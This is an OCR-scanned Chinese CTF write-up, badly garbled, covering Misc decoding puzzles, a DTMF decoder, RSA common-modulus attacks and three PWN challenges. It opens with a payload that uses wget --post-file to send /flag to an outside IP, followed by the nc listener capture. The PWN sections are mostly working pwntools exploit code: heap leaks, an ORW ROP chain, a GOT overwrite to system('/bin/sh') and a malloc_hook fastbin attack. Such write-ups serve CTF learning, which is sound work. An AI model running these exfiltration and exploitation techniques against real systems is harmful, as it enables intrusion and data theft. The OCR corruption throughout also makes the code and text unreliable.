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Nothing

5 ZW M Awgeth] --post-file #ATHIRSMNE, EEIEAD

£ H QVPSTFAN T 3 B

/wget?argv=a&argv=--post-file&argv=/flag&argv=http://1.14.92.24:8008/

Nothing
¥ roct@VM-0-14-centosi~ X +
Necat: Mersion 7.50 ( https://nmap.org/ncat )
Ncat: Listening.on.:::8068
Ncat: Listening on ©.0.0.8:8008
Ncat: €onmpegtiom from 117.21.200.166.
Ncat: Connection from 117.21.280,166:43515.
GET / HTTR/1.1
User-Agents Wget/1.208.3 (linux-gnu)
* /%
Accept-Encoding: identity
Host: 1.14.82.204:8008
Connection: Keep-Alive
e
[root@vM-8-1u-centos ~]# nc -lvvp B888
Ncat: Version®7.50 ( https://nmap.org/ncat )
Ncat: Listening ‘@n™:::28888
Ncat: Listening opn ©.8.8.8:8888
Ncat: Connection from 117.21.200.166.
Ncat: Connection from 117.21.200.166:60885.
POST / HTTP/1.1
Agent: Wget7/1.20.3 (linux-gnu)
ept: */x
Accept-Encoding: identity
Host: 1.14.92.24:86808
Connection: Keep=Aliwe
Content-Ty application/x-wmws-form=urlencoded
Content-Length: H3
flag{6ecfuabf-f3gEHld30-ccaTeabEAPNIRISE
Z3lflag:
Misc
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hmcl.json 2021/11/7 9:44 JSON 324

T HMCL-3.3.172.exe 2021/2/3 15: NFEER

B LAPTOP-TLDE38))

W attachment

Il BlindWaterMark-master
m F5-steganography-mast
Il Javas=7keD

OneDrive - Personal
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it base62f# 515 2liflag
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Last build: A year ago - v9 supports multiple inputs and a Node API allowing you to program with CyberChef! Options ¢ About / Support 0

Recipe Ama Input e ai + Oz o =

lines:

11F9sACbBBBWKTiC1YDENF2yIEfThXdfIGPXF
From Base62

Alphabet
8-9A-Za-z
start: @ time: 1ms
end: 27 length: 27 I B
Qutput length: 27 liges: 1 B 0Dm =
SETCTF{Fighting 3ItH VirUs}
v
STEP =
— Auto Bake
N
ﬂagjﬂ:

SETCTF{FiShtlng 3ItH VirUs}

TR FAE —Hbasefwid, HEBZEMITZEALE, FARNERALPREE-I$FS



GY4TKYLDMU2GEOBZMFSTKOBVMFRWKNTBMRQTGZJIVMI4AWEMS3FG5Q
WIOBZMUZ2TSMRYMNSTQYRQHEYGKNRZGY4DOZJWHE4ADQZLFHA4DOYL
BMU3TSNDCGFSTKODGHBRGKNJZGY4DIZJZVHA2WCY3FGZQWIYIJTMUZ2TQ
NLBMNSTMYLEMEZWKNRZGVQWGZJUMI4ADSYLFGUATEODDMU4GEMBZ
GBSTQOBXMFQWKNZZGRRDCZJWHE3DQN3FGY4TQODFMU2TQZRYMIST
KOJWHA2GKNTCGMATKZIWMIZGEYTFHA4DOYLBMU3TSNDCGFSTKODGH
BRGKNJZGY4DIZJIVHA2WCY3FGZQWIYJTMUZ2TQNLBMNSTMYLEMEZWKNJ
YMY4GEZJVHE3DQNDFGY4TKYLDMU2GEOBZMFSTKOBVMFRWKNTBMRQ
TGZJYMFTDSYLFGRRGMYJRMU4DQN3BMFSTOOJUMIYWKNJYGVQWGZ)
WMFSGCM3FGZRDGOJVMU3GEMTCMISTKOJSHBRWKODCGA4TAZIVHEZ
DQY3FHBRDAOJQMUZ2WEOLCGNSTOYLEHA4AWKNRZGVQWGZIJUMI4DSYL
FGZRDGOJVMU3GEMTCMISTKYRZMIZWKN3BMQ4DSZIVHA2WCY3FGZQ
WIYJTMU3GEMBZGFSTIYRYMJRGKNJYGVQWGZJIWMFSGCM3FHBQWMOL
BMU2GEZTBGFSTQOBXMFQWKNZZGRRDCZJIVHEZDQY3FHBRDAOJQMU3
DSN RYGOETMOJYH BSWKNLCHFRDGZJIXMFSDQOLFGU4GMODCMUZTSNR
YGRSTQOBXMFQWKNZZGRRDCZIVHAZWCY3FGZQWIYJTMU3TQODCGFST
KOLCMIJSGKNJYGVQWGZJWMFSGCM3FGZRDAOJRMU2GEODCMISTKOBV
MFRWKNTBMRQTGZJVHBTDQYTFGU4TMOBUMU3TQODCGFSTKOLCMISG
KNJZGI4GGZJYMIYDSMDFHA4DOYLBMU3TSNDCGFSTKYRZMIZWKN3BM
Q4DSZJIWHE2WCY3FGRRDQOLBMUZTQNLBMNSTMYLEMEZWKNRZGVQW
GZJUMI4DSYLFGU4TEODDMU4GEMBZGBSTQOBXMFQWKNZZGRRDCZJW
MIZTSNLFGZRDEYTCMU4GCZRZMFSTIYTGMEYWKNJZGIAGGZIYMIYDSMA

FREREMETEE 0 Kbase, RIEbase32

Last build: A year ago - v9 supports multiple inputs and a Node API allowing you to program with CyberChef!

z —i length: 1258
Recipe S ] Input liies: 1

Options ¥ About / Support (@)

+ 0201 =

From Base32

Alphabet
A-Z2-7=

Remove non-alphabet chars

STEP

[ 3}

Auto Bake

MU2WEOLCGNSTOYLEHAAWKNIZGIAGGZIYMIYDSMDFHAADOYLBMUZTSNDCGFSTKYRZMIZWKN3BMQADS ZJVMIAWEM3FGSQWIOBZM
UADQN3BMFSTOOJUMIYWKNT CGMATKZ JWMIZGEYTFGUAGMODCMU2TSNRYGRSTKYRZMI ZWKN3BMQADSZ JVMIAWEM3FG5QWIOBZMU
3GEMBZGFSTIYRYMIRGKNIYGVQWGZ JWMFSGCM3FGYATKYLDMU2GEOBZMFSTKOJSHBRWKODCGAATAZ JWHE 3DQN3FGYATQODFMU2
WEOLCGNSTOYLEHAAWKNZ YHBRDCZ JVHFRGEZDFGUADKY LDMU3GCZDBGNS TMOIVMFRWKNDCHAAWCZ JVHAZWCY3FGZQWIYITMUAG
CZRZMFSTIYTGMEYWKOBYGS5QWCZIXHE2GEMLFGUATEODDMUAGEMBZGBSTMYRQHEYWKNDCHBRGEZ JVMIAWEM3FG5QWIOBZMU3TQ
ODCGFSTKOLCMISGKNIYGVQWGZ IWMFSGCM3FGYATKY LDMU2GEOBZMFSTKOBVMFRWKNTBMRQTGZ JVMIAWEM3FGSQWIOBZMU2TSM
RYMMSTQYRQHEYGKNRZGYADOZ JWHEADQZ L FHAADOYLBMU3 TSNDCGF STKODGHBRGKNI ZGYADIZIVHAZWCY3FGZQWIYITMUZ2TQNL
BMNSTMYLEMEZWKNRZGVQWGZ JUMIADSYL FGUATEODDMUAGEMBZGBSTQOBXMFQWKNZZGRRDCZ JWHE3DQN3FGYATQODFMU2TQZRY
MISTKOJWHA2GKNTCGMATKZ JWMIZGEYTFHAADOYLBMU3TSNDCGFSTKODGHBRGKNI ZGY4ADI ZJVHAWCY 3FGZQWIYITMU2ZTQNLEM
NSTMYLEMEZWKNIYMYAGEZJVHE3DQNDFGYATKYLDMU2GEOBZMF STKOBVMFRWKNTBMRQTGZ JYMFTDSYLFGRRGMY JRMUADQN 3BMF
STOOJUMIYWKNIYGVQWGZ JWMFSGCM3FGZRDGOIVMU3IGEMT CMISTKOI SHERWKODCGAATAZ JVHEZDQY 2FHBRDAODIQMU2WEOLCGNS
TOYLEHA4WKNRZGVQWGZIUMIADSYLFGZRDGOIVMUIGEMTCMISTKYRZMI ZWKN2BMQADS ZIVHAWCY 3FGZQWIYITMU3GEMBZGFST
IYRYMIRGKNIYGVQWGZ JWMFSGCM2FHBQWMOLBMU2GE ZTBGFSTQOBXMFQWKNZZGRRDCZJVHEZDQY2FHBRDAQJQMU3DSNRY GO

start:

@ time: 3
Output £ andi 785 length. 785 a rD M
i 1

length: 786 lines:

e5bab3e7ad89e5928ce8b090es87aae794blesbob3e7adg9e5bob3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5
bab3e7ad89e5bob3e7ad89esboo1edbgbbes585acetada3e695acedbgvae5928ce8b@90e6968706988ee5b9b3e7ad89e788
ble59bbde585ace6ada3e695acedbsaes85acebada3esatoaedbfale8s87aae794b1e5928ce8b090esbooledbsbbe5bobl
e7ad89e788ble59bbde585ace6ada3e695acedbsoaes85acetadaleshable7ad89e5928ce8b090e69687e6988ee887aae7
94b1e58f8be59684e585acesada3e585acebadales95acesb89ae5928ce8b090e887322794b1e6968726988e25818be596
84e6b395e6b2bbe887aae794b1e58f8be59684e585ace6adale585acebada3es58f8be59684e695ace4b89ae585acebadad
eBaf9aedbfaleB87aae794ble585acebada3esb395e6b2bbe5928ce8b@90e5928ce8ba9vesbob3e7ad89e695ace4b89aet
b395e6b2bbesbob3e7ad89e585acesada3e6begledbs8bbes585acebada3e8atoaesbfale887aae794b1e5928ce8booRe696
88




e5b9b3e7ad89e5928ce8b090e887aae794ble5b9b3e7ad89e5b9b3e7ad89e887aae794ble6b395e6b2bbe58F8be59684e5b9b3e7ad89e5b9
b3e7ad89e6b091e4b8bbe585acebada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788ble59bbde585ace6ada3e695aces
b89ae585acebadal3e8af9aedbfale887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788ble59bbde585ace6ada3e695ace4b89a
e585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794ble58f8be59684e585acebada3e585acebada3e695acedb89ae592)

8ce8b090e887aae794b1e69687e6988ee5818be59684e6b395e6b2bbe887aae794ble58f8be59684e585ace6ada3e585acebada3e58f8bes
9684e695ace4b89ae585ace6ada3e8at9aedbfale887aae794ble585ace6ada3eb6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89
e695ace4b89ae6b6b395e6b2bbe5b9b3e7ad89e585acebada3e6b091e4b8bbe585ace6ada3e8at9aedbfale887aae794b1e5928ce8b090e696
88
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Recipe AE B8
From Base32
Alphabet

A-Z2-7=

Remove non-alphabet chars

Recipe A E

From Base32
Alphabet

A-Z2-7=

Remove non-alphabet chars

LS 2]

ha af s -
length: 413 i
Input B + Oz w§ =

hMOJVHBSWKNLCHFRDGZJXMFSDQOLFGU&GMODCMU2TSNRVGRSTQOBXMFQWKNZZGRRDCZ]VHAZNCVBFGZQNIV]TMUBTQOD(GFSTK
OLCMISGKNIYGVQWGZ JWMFSGCM3FGZRDAOIRMU2GEODCMI STKOBVMFRWKNTBMRQTGZ JVHBTDQY TFGUATMOBUMU2TQODCGFSTKOL
CMISGKNIZGIAGGZIYMIYDSMDFHAADOYLBMU3TSNDCGFSTKYRZMIZWKNIBMQADSZ JWHE 2WCY3FGRRDQOLBMU2 TQNLBMNSTMY LEM

EZWKNRZGVQWGZIJUMIADSYLFGUATEODDMUAGEMBZGBSTQOBXMFQWKNZZGRRDCZ JWMIZTSNLFGZRDEYTCMUAGCZRZMFSTIYTGMEY
WKNJZGI4GGZIYMIYDSMA=

time: 1ms
Output length: 257 N @ o
P lines: 1 B D v
ceel22,1.4.2,%2, 2,312, 2...%%2,,.1.2,,.°42,020.2,..1.2,.4122...°42,020.2.1...2.1.112...°
+2.020.2..3.12..... 2...1.2,,#122,,.,12,1,,.2,..992, 01, 2,0, .2,92,,2,,,982,1,,°2,,.,942,0%0.2..,.°

+2.1..°2,...12.1...2...°92,,,1.2.,1...2.1.112.83.°2.,130.2....12.1...

- -~
length: 416 —3
Input R + 0Ozl e =

777TMOJYHBSWKNLCHFRDGZ IXMFSDQOLFGUAGMODCMU2 TSNRYGRSTQOBXMFQUWKNZ ZGRRDCZ JVHA2WCY3FGZQWIYITMU3TQODCGF
STKOLCMISGKNIYGVQWGZ JWMF SGCM3FGZRDAOIRMU2GEODCMISTKOBVMFRWKNTBMRQTGZIVHBTDQYTFGUATMOBUMU3TQODCGFST
KOLCMISGKNIZGIAGGZIYMIYDSMDFHAADOYLBMU3TSNDCGFSTKYRZMIZWKNIBMQADSZ JWHE 2WCY3FGRRDQOLBMU2TQNLBMNSTMY

LEMEZWKNRZGVQWGZ JUMIADSY LFGUATEODDMUAGEMBZGBSTQOBXMFQWKNZ ZGRRDCZ JWMIZTSNLFGZRDEYTCMUAGCZRZMFSTIYTG
MEYWKNJIZGIAGGZIJYMIYDSMA=

start: 2 time: @ms

d: 259 length: 259 I o
Output en eng 3 a D M

length: 257 lines:

}1j76988ee5bob3e7ad89e5818be59684e887aae794ble585acebada3e788ble59bbdes85acebada3ebbeoledbsbbess5ace
6ada3es58f8be59684e788b1le59bbde5928ce8bo90eg87aae794blesbob3e7ad89en95acedbs9aes585acebada3es95acedb
89ae5928ce8bo90e8s7aae794ble6b395e6b2bbesatoaedbfale5928ces8baso

6988ee5b9b3e7ad89e58F8be59684e887aae794ble585acebada3e788ble59bbde585ace6ada3e6b091e4b8bbe585ace6adal3e58F8be5968
4e788ble59bbde5928ce8b090e887aae794ble5b9b3e7ad89e695ace4b89ae585ace6adal3deb695ace4b89ae5928ce8b090e887aae794blebb)

395e6b2bbe8af9aed4bfale5928ce8b090

X Bhexf#td X REM, L —A6ME, HENAE FErEERAEZEAERFEAERSZEMME BP0l A EHOLAEE Bk

A ANE




Unicodeé4zt3 UTF-84%%3 URL4zH3/4552 Unixfi Bz Ascii/Nativetgia 5 Hex483/8283

SO TFEREOR A EERAERT AT REEEIMEE B FER A TESNFNEE Rz A=

utf-8 v Hex4wig Hexf#rg EER

FRSE R zhanavid} BRERD T —AMT, HAS—IHZEHEE —ME, EiEE
flag SET{Qi2Xin1Xie2Li4-Long3Yuan F M Yuan/GH H E~F —MIFH, S&id—4 —MNMR, RELRBHRE2

bl 5e ¥ flag -

SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4dYi4}

SOS

TR, XEMC, RRARITET, Rk—i#t%, BB TRSKNE, REFLLE RESEH, Bk TREERE, FAnE
TR—EERF

BT X et AT LAE AR B DTMF A SRR FIX Bk 5540, BRIEBNER, BEXAMRFEIRE F#48, HFEIES RS
Tk, REERNwavig R F

DTMFiAHblit:  hitps:/github.com/ribt/dtmf-decoder

DTMF I :




import numpy as np
import matplotlib.pyplot as plt
from scipy.io import wavfile
argparse
{(697, 1209): "1", (697, 1336): "2", (697, 1477): "3", (770, 1209): "4", (770, 1336): "s5", (770, 1477): "
(852, 1209): "7", (852, 1336): "8", (852, 1477): "9", (941, 1209): "*", (941, 1336): "@", (941, 1477): "

(697, 1633): "A", (770, 1633): "B", (852, 1633): "C", (941, 1633): "D"}

parser = argparse.ArgumentParser(description="Extract phone numbers from an audio recording of the dial tones.")

.add_argument("-v", "--verbose", help="show a complete timeline", action="store_true")

.add_argument("-1", "--left", help="left channel only (if the sound is stereo)", action="store_ true")

(

(

.add_argument("-t", type=int, metavar="F", help="acceptable frequency error (in hertz, 20 by default)",
default=20)

.add_argument("-i", type=float, metavar='T
default=0.04)

.add_argument("-r", "--right", help="right channel only (if the sound is stereo)", action="store_true")

.add_argument("-d", "--debug", help="show graphs to debug", action="store_ true")

, help="process by T seconds intervals (0.04 by default)",

.add_argument('file', type=argparse.FileType('r"))

parser.parse_args()

args.file.name

fps, data = wavfile.read(file)
except FileNotFoundError:
print("No such file:", file)
exit()
except ValueError:
print("Impossible to read:", file)
print("Please give a wav file.")

exit()

if args.left and not args.right:
if len(data.shape) == 2 and data.shape[1l] == 2:
data = np.array([i[@] for i in data])
elif len(data.shape) == 1:
print("Warning: The sound is mono so the -1 option was ignored."
else:
print("Warning: The sound is not mono and not stereo (" + str(

data.shape[1]) + " canals)... so the -1 option was ignored.

elif args.right and not args.left:
if len(data.shape) == 2 and data.shape[1l] == 2:
data = np.array([i[1] for i in data])
elif len(data.shape) == 1:
print("Warning: the sound is mono so the -r option was ignored.
else:
print("Warning: The sound is not mono and not stereo (" + str(
data.shape[1]) + " canals)... so the -r option was ignored.

else:
if len(data.shape) == 2:
data = data.sum(axis=1) # stereo




precision = args.i

duration = len(data) / fps

step = int(len(data) // (duration // precision))

debug = args.debug
verbose = args.verbose

"Warning:\nThe debug mode is very uncomfortable: you need to close each window to continue.\nFeel free t
o kill the process doing CTRL+C and then close the window.\n")

if verbose:
print("0:00 ", end='"', flush=True)

try:
for i in range(@, len(data) - step, step):
signal = data[i:i + step]

if debug:
plt.subplot(311)
plt.subplots_adjust(hspace=0.5)
plt.title("audio (entire signal)")
plt.plot(data)
plt.xticks([])
plt.yticks([])
plt.axvline(x=1i, linewidth=1, color='red")
plt.axvline(x=i + step, linewidth=1, color='red")
plt.subplot(312)
plt.title("analysed frame")
plt.plot(signal)
plt.xticks([])
plt.yticks([])

frequencies = np.fft.fftfreq(signal.size, d=1 / fps)
amplitudes = np.fft.fft(signal)

# Low
i min np.where(frequencies > 0)[0][0]
i_max np.where(frequencies > 1050)[0][0]

freq = frequencies[i_min:i_max]

amp = abs(amplitudes.real[i_min:i_max])

1f = freq[np.where(amp == max(amp))[0][0]]

delta = args.t
best = 0

for £ in [697, 770, 852, 941]:
if abs(lf - f) < delta:
delta = abs(1f - f)
best = f

if debug:




plt.title("Fourier transform™)

plt.plot(freq, amp)

plt.yticks([])

plt.annotate(str(int(1f)) + "Hz", xy=(1lf, max(amp)))

1f = best
# High
i min = np.where(frequencies > 1100)[0][9]

i _max = np.where(frequencies > 2000)[0][9]

freq = frequencies[i_min:i_max]

amp = abs(amplitudes.real[i_min:i_max])

hf = freq[np.where(amp == max(amp))[0][0]]

delta = args.t
best = 0

for f in [1209, 1336, 1477, 1633]:
if abs(hf - f) < delta:
delta = abs(hf - f)
best = f

if debug:
plt.plot(freq, amp)
plt.annotate(str(int(hf)) + "Hz", xy=(hf, max(amp)))

hf = best

if debug:
if 1f == @ or hf == 0:
txt = "Unknown dial tone"
else:
txt = str(1f) + "Hz + " + str(hf) + "Hz -> " + dtmf[(1f, hf)]
plt.xlabel(txt)

= int(i // step * precision)

if verbose and t > int((i - 1) // step * precision):
m str(int(t // 60))
s = str(t % 60)
s = "0" * (2 - len(s)) + s

print("\n" + m + + s+ " ", end="", flush=True)
if 1f == @ or hf == 0:

if verbose:

print(".", end="'"', flush=True)

c = "n
elif dtmf[(1f, hf)] != c or verbose:

c = dtmf[(1f, hf)]

print(c, end=""', flush=True)

if debug:
plt.show()

print()

except KeyboardInterrupt:




print("\nCTRL+C detected: exiting...")

i F ¢ I i 2
python dtmf.py 1.wav

BRREKITE, KKERT, BIA52flag

ﬂag?ﬂ:
PWN

h3apclass:

HAESPTEE, SMuERE, NidiAshow libc2.31

s s fEeditd, F96E A Zstrlen, [ i B H .

leak_libc &4 8 id i H 5 echunk I size N 0x4 30 H #:# Aunsorted bin

SR J5 F R W B i %1 % unsorted bin LUk Blunsorted bin 5 tcache E& IR, 5B —1L 1/16 Histdout leakiHlibe
get_flag #4> : — I i Hsetcontext5 i), H—EHEA K.

J& T A8 F environiitt 3% H AR Hdik, {EEE ¥ showR K,

JERBRIXAN R EL R, R Texecve. T Rifree_hook printfiidik, SRJ5 %A printffe A%15%p it 58 B AR LRtk 45
Fladd B $ R B Mk

B 5 HEBorwsE T Naddretithik &b, $TEIHiflag.

exp :

from pwn import*
context.log level = "debug"

io = process("./H3apClass")

#10 = remote("node4.buuoj.cn","28143")

libc = ELF("./libc.so.6",checksec




io.sendlineafter("4:Drop homework\n",str(choice))

def (index,size,content):

fuck(1)

io.sendlineafter("Which homework?\n",str(index))
io.sendlineafter("size:\n",str(size))
io.sendlineafter("content:\n",content)

def (index,size,content):
fuck(1)
io.sendlineafter("Which homework?\n",str(index))
io.sendlineafter("size:\n",str(size))
io.sendafter("content:\n", content)

def (index, content):

fuck(3)

io.sendlineafter("Which homework?\n",str(index))
io.sendafter("content:\n", content)

def (index):
fuck(4)
io.sendlineafter("Which homework?\n",str(index))

def ():
global io
gdb.attach(io)

#gdb.attach(io)

add(@,0x18,b"0"*0x18)
add(1,0xf8,b"1"*0xf8)
add(2,0xf8,b"2"*0xf8)
add(3,0xf8,b"3"*0xf8)
add(4,0xf8,b"4"*@xf8)
add(5,0x28,b"a"*0x28)
add(6,0xf8,b"5"*@xf8)

edit(5,b"a"*0x20 + p64(0x430) + p64(0x100))
edit(0,b"a"*0x10 + p64(0) + p64(0x430))
delete(6)

#gdb.attach(io)
add(0,0x18,b"a"*0x18)
add(1,0xf8,b"wangwangl")
add(2,0xf8,b"wangwang2")
add(3,0xf8,b"wangwang2")
add(4,0xf8,b"wangwang2")
add(5,0x28, "fuck_libc")
delete(4)

add(4,0x18, "eeeenb")
add(6,0x28,p64(0)+p64(0x21))
edit(0,b"a"*0x10+p64(0)+b" \x51\x04")
delete(9)

delete(1)

for i in range(2,5):




delete(i)
for i in range(2,5):
add(i,oxe8,"a")
for i in range(2,5):
delete(i)
delete(6)
delete(5)
add(2,0xd8,"2")
add(3,0x48,b"3")
Add(4,0x38,b"\xa@\x36")
delete(2)
delete(3)
#pause()
add(2,0x28,"0")
paylaod = p64(0xfbad1887)+p64(0)*3+b"\x58"
add(3,0x28,paylaod)
libc_base = u64(io.recvuntil("\x7f",timeout=0.1)[-6:].1just(8,b'\x00"'))-0x1led4a0 # I0 2 1 stderr +216 store _I|
0_file_ jumps
if libc_base == -0xled4a0:
exit(-1)
libc_base = libc_base - @x7fcee3@0lafc + Ox7fcee3037000
success("libc_base:"+hex(libc_base))
free_hook = libc_base + libc.sym["_free_hook"]
system = libc_base + libc.sym["system"]
printf = libc_base + libc.sym["printf"]
environ = libc_base + libc.sym["environ"]

setcontext = libc_base + libc.sym["setcontext"]

read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]

open = libc_base + libc.sym["open"]

pop_rdi_ret libc_base + 0x26b72
pop_rdx_ril2 libc_base + 0x11c371
pop_rsi_ret libc_base +0x27529
pop_rax_ret libc_base + 0x4a550
syscall_ret read + Oxf

ret = libc_base + 0x25679

success("free_hook:"+hex(free_hook))

#Look()

delete(4)

add(4,0x40,b"a"*0x40)
edit(4,p64(0)*5+p64(0x21)+p64(free_hook))
add(@,0x18,b"%15$p")
add(6,0x18,p64(printf)+b"flag"+b"\x00"*4)
delete(9)

info = int(io.recv(14),16)
success("stack_addr:"+hex(info)) #the _main_ret
add_ret = info - Ox7ffd26ceb5e8 + Ox7ffd26ceb4d8
success("add_ret:"+hex(add_ret))
add(0,0xe0,p64(0)*4 + p64(add_ret))

delete(9)

delete(4)

add(0,0xf8,b"0")

flag_addr = free_hook + 0x8

orw = p64(pop_rdi ret) + p64(flag addr)

orw += p64(pop_rsi _ret) + p64(Q) #The open arg2 = © -> only read
#orw += p64(pop_rax_ret) + p64(2)




p64(open)

p64(pop_rdi_ret) p64(3)
p64(pop_rsi_ret) p64(flag_addr+0x8)
p64(pop_rdx_ri2) p64(0x40) + p64(09)
p64(read)

p64(pop_rdi_ret) p64(1);

p64(write)

add(4,0xf8,orw)

io.recvuntil("flag")

sleep(100)

io.interactive()
while True:

try :

#10 = process("./H3apClass")

io = remote("node4.buuoj.cn","29896")

pwn()
except:
io.close

continue

DEBUG] Sent Ox81 bytes:
00000000 72 64 73
00000010 29 64 73
00000020 50 7e 73 73
00000030
00000040 38 5b 73
00000050 40
00000060 30
00000070
00000080
00000081

DEBUG] Received 0x40 bytes:
00000000 66 6Cc 61 67 7b 65 66 61 64 2d 30 65 flag {efa 875e d-0e
00000010 31 61 2d 34 64 32 61 2d 2d 38 39 34 la-4 d2a- afed -894
00000020 36 33 65 33 30 66 39 32 63e3 0f92 e}
00000030
00000040

bbbaby:

HESTEE, BRAIhEE,
— AR LG [ 3B 98 ) BE 4T edit,
FAEh— AR ARG AT B sizeKIHIA «

FRIBE 5 i8R & BB voili H #4788 B ¥, {Hchecksec/a KBTI T canary, X Ngot®R Al g HEPIE, FilA™ LAE
** stack_chk_fail*IgotR M Amain, T2 H V53T Elputsib it 5 X EI 2] T main® $, AR5 EIRMgot®, #idMatoi_gothy
system, FfEN/bin/sh\Z#, getshell

exp :




from pwn import*
context.log level = "debug"

io = remote("node4.buuoj.cn","27853")
elf = ELF('./pwnl',checksec = 0)
ELF('./libc-2.23.s0',checksec = 0)

pop_rdi_ret = 0x400a03
main_addr = 0x40090B
canary_check = 0x601020
atoi_got = 0x601040
offset = Ox110 + 0Ox8

def (c):
io.recvuntil("choice")

io.sendline(str(c))

def (size,content):
chocie(1)
io.recvuntil(":")
io.sendline(str(size))

io.recvuntil(":")
io.send(content)

def (addr, content):
chocie(9)
io.recvuntil(":")
io.sendline(addr)
io.recvuntil(":")
io.send(content)

payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
payload += p64(elf.plt['puts']) + p64(main_addr)

edit_addr(str(canary_check),p64(main_addr))
pwn (0x150,b"a"*offset + payload)

#leak _Libc and get shell

puts = u64(io.recvuntil('\x7f"')[-6:].1just(8,b"'\x00"))
libc_base =puts - libc.sym[ ‘puts’]

system = libc_base + libc.sym[ ‘system’]

edit_addr(str(atoi_got),p64(system))
io.sendline(b'/bin/sh\x00")

io.interactive()




$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2b bytes:
'flag{b9ef9840-2cab-4517-bal6-d76e932d2edd}\n"’
flag{b9ef9840-2cab-4517-bal6-d76e932d2edd}

s i

Magic:

NI EZIXAM BB EE, —HRE, HERTRETT .

R JE B L gdb 23t 2 A AR

A UAF, E# fastbin attack ™l AT 2% .

leak_libc &84 : 3EHFE84 a printf )i main_arena+88cHi ¥k
get_shell #84)r : HE#Efastbin_attack ¥Tmalloc_hook

exp :

from pwn import *
context.log level = "debug"
io = remote("node4.buuoj.cn",27312)

elf = ELF("./Magic",checksec = 0)

libc = ELF('libc-2.23.s0"',checksec = 0)
one = [Ox45226,0x4527a,0xf03a4,0xf1247 ]
main_arena = 0x3c4b20

def (index):
io.recvuntil("Input your choice: ")
io.sendline(str(index))
io.sendline('0")

def (index):
fuck(1)
io.sendline(str(index))
io.sendline('0")

def (index, content):
fuck(2)
io.recvuntil("Input the idx")
io.sendline(str(index))
io.sendline('0")
io.recvuntil("Input the Magic")




1o0.send(content

def (index):
fuck(3)
io.recvuntil("Input the idx")
io.sendline(str(index))
io.sendline('0")

edit(0,b"a"*8)

libc_base = u64(io.recvuntil('\x7f"')[-6:].1just(8,b"'\x00"')) - ©x3c4d98
realloc = libc_base + libc.sym[ ‘realloc’]

malloc_hook = libc_base + libc.sym[' malloc_hook" ]

free_hook = libc_base + libc.sym["__free_hook"]
success("malloc_hook"+hex(malloc_hook))

one_gadget = one[3] + libc_base

#fuck the malloc_hook and Libc_realloc

$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{43fff271-4bd5-4892-968a-b3668c4c7e46}\n'
flag{43fff271-4bd5-4892-968a-b3668c4c7edb}

s il

Crypto

mostlycommon

seebug kA ctf L 2EE WAL B4 (seebug.org)



https://paper.seebug.org/1055/#rsa

Bnchés 7 nel,e2,c1,c2
IETRIASEH103EEAIm, irkhex, BIEAFHEANITESflag,
SRYEIANT :

# -*- coding:utf-8 -*-
from gmpy2 import invert
def gongmogongji(n, cl, c2, el, e2):
def egcd(a, b):
if b == @:
return a, 9
else:
x, ¥ = egcd(b, a % b)
return y, x - {(a // b) ¥ y
s = egcd(el, e2)
s1 = s[@]
52

cl = invert(cl, n)
elif s2 < @:
s2 = - 52

c2 = invert(c2, n)

m = pow(cl, s1, n) ¥ pow(c2, s2, n) ¥ n

return m

n= 1831898659023346202261011628087939635042560279391170200918767998396908801944735684259
918655534860183205031069083254290258577291605287053538752280231959857465853228851714786
887294961873006234153079187216285516823832102424110934062954272346111987571393964363630
879343598511602013316604641904852018969178919051627

el= 13

e2= 15

cl= 13981765388145883997703333682243956434148306954774120760845671024723583618341148528
952063316653588928138430524040717841543528568326674293677228449651281422762216853098529

o ar- oo atata ET. siada - e tafulnTats' v . & 4 alufala




# -*- coding:utf-8 -*-
from gmpy2 import invert
def (n, c1, c2, el, e2):
def (a, b):
if b == 0:
return a, ©
else:
X, y = egcd(b, a % b)
return y, x - (a // b) * vy
s = egcd(el, e2)
sl = s[0]
s2 = s[1]

# KRERITFE
if s1 < 0:
sl = - s1
cl = invert(cl, n)
elif s2 < O:
s2 = - s2
c2 = invert(c2, n)
m = pow(cl, s1, n) * pow(c2, s2, n) % n

return m

n= 1031090659023346202261011620087939635042560279391170200918767990396908019447356042590186555348601832050310690,
8325429025857729160528705353875228023195985746585322885171478688729496187300623415307918721628551682383210242411
0934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

cl= 139817653881450839977033336822439564341483069547741207608456710247235836183411485289520633166535889281384305
2404071784154352856832667429367722844965128142276221685309852942581474015657551362051324500557650898210336059276)
1380293006244528169193632346512170599896471850340765607466109228426538780591853882736654
c2= 794599490169244428569590593253908947232325862759259318989294459383381232162782713339020628725650582051366277
5771305195408396887464458190237118226658824765385761602988145310038779711155967739201741529858013649620489801679
7180386402171968931958365160589774450964944023720256848731202333789801071962338635072065

result = gongmogongji(n, cl, c2, el, e2)

print result
ml=hex(50937517501984079318479184180525081694999782691988219077509947184814275476037417455150384 )
print ml

import binascii
m2=binascii.unhexlify(b'666c61672d3534643364623563316566636437616661353739633337626362353630616530")
print m2

FEBGER, 18 EHEKexp M T atiT




# -*- coding:utf-8 -*-
from gmpy2 import invert
import gmpy2
[from Crypto.Util.number import *
def (n,cl,c2,el,e2):
def (a, b):
if a==0:
return (b, 0, 1)
else:
z,y,x=egcd(b%a,a)
return (z,x-(b//a)*y,y)
s=egcd(el, e2)
sl=s[1]
s2=s[2]
# RERITF
if s1<0:
sl=-s1
cl=invert(cl,n)
else:
S2=-S2
c2=invert(c2,n)
m=pow(cl,sl,n)*pow(c2,s2,n)%n
m=gmpy2.iroot(m,2)[0]
print(long_to _bytes(m))
N=12203168613869661959991469076776428609456284211208822531150382601400688603906908319297459971268502782511168485
2235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067
117410952499655482160104027730462740497347212752269589526267504100262707367020244613503

c1=3944901640373540589234350720074009847758103960597960348477434771438163521192558592481272799140027803189239199
6192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067
450727600486330723461100602952736232306602481565348834811292749547240619400084712149673
